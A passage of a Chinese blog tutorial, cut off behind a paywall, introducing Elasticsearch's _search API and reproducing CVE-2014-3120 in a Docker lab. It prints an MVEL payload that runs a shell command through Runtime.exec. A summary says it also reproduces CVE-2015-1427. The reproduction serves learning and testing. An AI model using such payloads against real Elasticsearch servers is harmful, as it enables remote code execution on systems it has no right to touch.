目录
ElasticSearch简介
Elasticsearch(以下简称ES)是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,它同时基于 RESTful Web 接口,可以快速地储存、搜索和分析海量数据。
ES安装部署成功后,默认端口是9200。
ElasticSearch _search API概述
对ES中存储的数据进行查询分析,使用关键字_search。如下
GET /_search ## 在根目录下检索所有的index
GET /<target>/_search ## 在指定索引下检索所有文档
GET /<target1>,<target2>/_search ## 检索指定多个索引下的所有文档
GET /my_*/_search ## 使用通配符,检索指定多个索引下的所有文档
ES提供查询的两种形式:URI Search和Request Boby Search。
ElasticSearch 漏洞复现
ElasticSearch CVE-2014-3120复现
- 漏洞描述:
在ES1.2之前Elasticsearch的默认配置启用动态脚本,这允许远程攻击者通过_search的source参数执行任意MVEL表达式和Java代码。
MVEL执行命令代码:import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next(); - 启动环境:
启动后,通过127.0.0.1:9200就可以访问,截图如下:cd CVE-2014-3120 docker-compose up -d

对应的浏览器访问结果,如下json:{ "status" : 200, "

文章详细介绍了ElasticSearch的搜索API和两个重大安全漏洞的复现过程,包括CVE-2014-3120,该漏洞允许通过_search的source参数执行任意MVEL表达式和Java代码,以及CVE-2015-1427,这个漏洞中Groovy脚本引擎可被用于绕过沙盒执行任意shell命令。复现步骤包括环境设置、漏洞利用payload的构造和执行结果展示。
最低0.47元/天 解锁文章
3929

被折叠的 条评论
为什么被折叠?



